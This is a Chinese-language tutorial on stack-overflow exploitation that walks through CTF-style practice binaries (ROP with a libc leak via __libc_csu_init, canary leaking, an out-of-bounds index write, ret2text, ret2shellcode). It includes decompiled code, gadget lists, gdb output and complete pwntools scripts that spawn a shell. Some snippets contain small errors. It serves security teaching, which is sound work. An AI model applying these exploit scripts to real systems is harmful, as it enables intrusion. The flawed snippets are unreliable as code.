二进制安全之栈溢出(中)
栈劫持
整形溢出
实验
调试
程序一 :rop链 & _libc_csu_init
ROP
IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function(*(_QWORD *)&argc, argv, envp);
return write(1, "Hello, World!\n", 0xEuLL);
}
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h] 说明buf到rbp有0x80字节。即buf[0x80]
write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL); //从标准控制台向buf读入0x200
}
攻击脚本
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]
if len(sys.argv) < 2:
debug=True
else:
debug=False
if debug:
p = process("./level3_x64")
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
p = remote("x.x.x.x",xxxx)
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def debugf():
gdb.attach(p,"b *0x400602")
#debugf()
padding = 0x80 * "a"
padding_rbp = "junkjunk"
write_plt = elf.plt["write"]
write_got = elf.got["write"]
# target : write(1,write_got,8)
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A
payload = padding + padding_rbp + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)
p.sendafter("Input:\n",payload)
addr = u64(p.recv(6).ljust(8,"\x00"))
libc.address = addr - libc.symbols["write"]
binsh = libc.search("/bin/sh").next()
system = libc.symbols["system"]
payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendafter("Input:\n",payload)
p.interactive()
思路
泄露system在libc中的地址
通过write函数泄露system的地址
先通过plt中的wrtite jump到got中的write函数的地址,然后通过offset计算libc的基址,然后泄露system的地址
可以将第一个return的内容覆盖为plt["write"]的地址
即write(1,write_got,8) 调用write_got,打印8个字节到屏幕上
寻找rop链 rdi_pop_rsi_pop_rdx_ret,保存write函数的参数与返回地址
64位程序的参数压栈顺序rdi,rsi,rdx,rcx,r8,r9
➜ level3_x64 ROPgadget --binary level3_x64 --only 'pop|ret'
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
由于在rop链中没有发现rdx,暂时不去使用rdx,因为rdx中本来就可能含有大于8的数,因此对我们而言传参与否意义不大,只是成功率的问题,直接返回到main_addr即可
.text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040061A public main
.text:000000000040061A main proc near ; DATA XREF: _start+1D↑o
libc_csu_init
解决rop链中无rdx的思路
a. 调用libc_csu_init
b. libc_csu_init有rdx
c. 在libc_csu_init循环构造payload
libc_csu_init的内存布局
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13 // 4. 将r13给到了rdx
.text:0000000000400693 mov rsi, r14 // 5. 控制rsi
.text:0000000000400696 mov edi, r15d // 6. 控制rdi的低四位,注意这里不能存放下6字节的/bin/sh
.text:0000000000400699 call qword ptr [r12+rbx*8] ;7. 给rbx赋0,相当于call [r12],
; 将system的地址写入其中bss中,将bss_addr写入其中
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp //9. 使rbp=1,跳过jnz
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx //1. 控制函数从这里执行
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12 //8. 给r12添一个main_addr
.text:00000000004006AE pop r13 //2. 通过栈控制r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn //3. ret到main_addr
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
//实现通过栈控制rdx
空闲的bss段
.bss:0000000000600A89 db ? ; 向其中写入system的地址,call [r12] ,将r12改为0x600A89
.bss:0000000000600A8A db ? ;
.bss:0000000000600A8B db ? ;
坑点
call qword ptr [r12+rbx*8] ;寄存器间接寻址,需要把system的地址写入bss
mov edi, r15d ;只能存放4个字节,存放不了/bin/sh
_libc_csu_init攻击脚本实现
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]
if len(sys.argv) < 2:
debug=True
else:
debug=False
if debug:
p = process("./level3_x64")
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
p = remote("x.x.x.x",xxxx)
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def lib_csu_init(ret_address,call,p1,p2,p3):
pop_ret7 = 0x4006AA
libc_csu_init_addr = 0x400690
payload = 0x80*'a' + p64(0) # padding_ebp
payload+= p64(pop_ret7)
payload+= p64(0) + p64(1) + p64(call) #rbx rbp r12
payload+= p64(p3) + p64(p2) + p64(p1) #r13 r14 r15
payload+= p64(libc_csu_init_addr) #ret
payload+= p64(0)*7 #clear rsp rbx rbp r12 r13 r14 r15
payload+= p64(ret_address)
p.sendafter("Input:\n",payload)
def debugf():
gdb.attach(p,"b *0x400602")
#debugf()
write_plt = elf.plt["write"]
write_got = elf.got["write"]
read_got = elf.got["read"]
main_addr = 0x40061A
bss_addr = 0x600A89
lib_csu_init(main_addr,write_got,1,write_got,0x8)
write_addr = u64(p.recv(8))
log.success("write_addr:" + hex(write_addr))
libc.address = write_addr - libc.symbols["write"]
log.success("libc.address:" + hex(libc.address))
lib_csu_init(main_addr,read_got,0,bss_addr,16) # 16 is the param of read
# read system to bss_addr and write "/bin/sh to bss_addr+8"
#binsh = libc.search("/bin/sh").next() not need anymore
system = libc.symbols["system"]
p.send(p64(system)+"/bin/sh\x00")
#lib_csu_init(main_addr,bss_addr,binsh,0,0) binsh has 6 bytes ,r15 can't store
lib_csu_init(main_addr,bss_addr,bss_addr+8,0,0)
p.interactive()
调试
设置断点到* 0x4006AA

第一次循环结束后


返回到main

打印libc的地址

查看bss_addr的内容
程序二 :canary
IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Hello Hacker!");
vuln();
return 0;
}
unsigned int vuln()
{
signed int i; // [esp+4h] [ebp-74h]
char buf; // [esp+8h] [ebp-70h]
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u); //从fs:28h读取canary到栈
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x200u); //溢出点
printf(&buf); //如果没有printf,可以通过_dl_runtime_resolv泄露canary
}
return __readgsdword(0x14u) ^ v3; //异或栈中的canary与内核中的md5
}
利用方法
在ebp – 0x0c的地址覆盖为canary值
泄露canary的值
攻击脚本
from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC # 到达canary的偏移地址
payload = (offset)*"a" + "b" # 覆盖掉canary的最后的"\0"字节,这时就可以打印出canary了
p.send(payload)
p.recvuntil("ab") #在canary之前截断,在没有printf,可以通过_dl_runtime_resolv泄露canary
canary = u32(p.recv(3).rjust(4,"\x00")) #接收三字节的canary,并用0将第四个字节补齐
log.success("canary:"+hex(canary))
payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell) # 最终payload
p.send(payload2)
p.interactive()
程序三 :canary(不需绕过)
IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5); //v5是序号,无大小限制,造成漏洞点
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}
利用原理
v5无大小限制,形成漏洞点
可以看到 char v13[100]; // [esp+38h] [ebp-70h],当v5 = 28的时候,28*4=102=0×70,第29个字节就是EBP,第30个字节就是ret。
控制输入v7的内容和长度,实现ret的精准覆盖。
因此这道题不需要绕过canary。
程序四 :ret2text
IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h] padding=0x64+0x8
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s); //溢出点
printf("Maybe I will tell you next time !");
return 0;
}
void secure() //函数模板库,CTRL+E查看
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h]
int secretcode; // [esp+1Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf((const char *)&unk_8048760, &input);
if ( input == secretcode )
system("/bin/sh"); //wonderful,理想的返回地址
}
利用原理
找到溢出点:gets(&s)
判断填充长度 : s到ebp的大小加4字节ebp,即 0×64 – 0x1c + 0×4
判断ebp和esp寻址的小技巧:在IDA的变量s处双击,能进入到反汇编窗口即esp寻址
gdb调试
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
// 可以看到没有开启ALSR和PIE,这时我们下断点的时候不用考虑地址随机化
设置断点到s
.text:080486AB mov [esp], eax ; s
在IDA中静态查看s的地址,取其偏移地址080486AB
在gdb中 b *0x080486AB 即可
计算填充长度
EAX 0xffffce8c —▸ 0x8048329 ◂— 0x696c5f5f /* '__libc_start_main' */
EBX 0x0
ECX 0xffffffff
EDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP 0xffffcef8 ◂— 0x0
ESP 0xffffce70 —▸ 0x804876c ◂— 0x72656854 /* 'There is something amazing here, do you know anything?'
/*
EDX接收s
填充长度为EBP-EAX = 0x6c
*/
覆写返回地址到system("/bin/sh");
a. 使用IDA查看bin/sh的地址
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
攻击脚本
from pwn import *
context.log_level = "debug" # context预设环境
context.arch = "i386"
context.terminal = ["tmux","splitw","-h"] # tmux 垂直分屏
if len(sys.argv) < 2:
debug = True
else:
debug = False
if debug:
p = process("./ret2text") # process表示当前程序的发送和接收(交互)
elf = ELF("./ret2text") # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') # 载入libc的库,可以通过vmmap查看
else:
p = remote("x.x.x.x",1088)
elf = ELF("./ret2text")
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def debugf():
gdb.attach(p,"b *0x80486AB")
debugf()
padding = (0x64+8)*a
ebp_padding = "aaaa"
system_addr = 0x0804863A
payload = padding + ebp_padding + p32(system_addr)
p.sendlineafter("do you know anything?\n",payload) #需要加"\n",因为puts在程序最后加"\n"
p.interactive() # 接收shell
程序五 :ret2shellcode
IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}
设置断点
.text:08048590 mov [esp], eax ; s 设置到断点gets之前
.text:08048593 call _gets
溢出地址
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
攻击脚本
#!/usr/bin/env python
from pwn import *
context.arch ="i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv < 2):
debug = True
else:
debug = False
if debug:
p = process('./ret2shellcode')
elf = ELF('./ret2shellcode')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
p = remote('xx.xx.xx.xx',1111)
elf = ELF('./ret2shellcode')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def debugf():
gdb.attach(p,"b *08048590")
debugf()
#padding = 0x64+8
#padding_ebp = 0x4
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x6c,"a") + "junk"
buf2_addr = 0x804a080
payload += p32(buf2_addr)
p.sendlineafter("No system for you this time !!!\n",payload)
p.interactive()
流程
64字节shelllcode覆盖s
填充8字节到达main函数的ebp
“junk”覆盖掉rbp的内容
将return的内容覆盖为buf2的地址字节流:p32(buf2_addr)
注意点
buf2位于bss段,如果程序开启了pie,是不能通过ida读取的。
ljust函数用于补充指定大小的字节
asm(shellcraft.sh())用于自动生成shellcode
手写shellcode
shellcode = asm(
"mov ebp,esp"
"push ebp"
"mov eax,08808188a" ;向0x08808188a传入一个bin/sh
"mov [esp],eax"
"call system"
)
调试
finish到main函数
buf的内存布局
EAX 0x804a080 (buf2) ◂— 0x2f68686a
0x80485af <main+130> call strncpy@plt <0x8048420>
00:0000│ esp 0xff906df0 —▸ 0x804a080 (buf2) ◂— 0x2f68686a
x/20gz 0x804a080
0x804a080 <buf2>: 0x68732f2f2f68686a 0x0168e3896e69622f
0x804a090 <buf2+16>: 0x6972243481010101 0x59046a51c9310101
返回地址
0x80485c6 <main+153> ret <0x804a080; buf2> ==>可以看到将main返回地址覆盖成了buf2的地址
shellcode
00:0000│ esp 0xff906e74 ◂— '/bin///sh'
01:0004│ 0xff906e70 ◂— 0x6873 /* 'sh' */
0x804a0aa <buf2+42> int 0x80 ==> 此时中断退出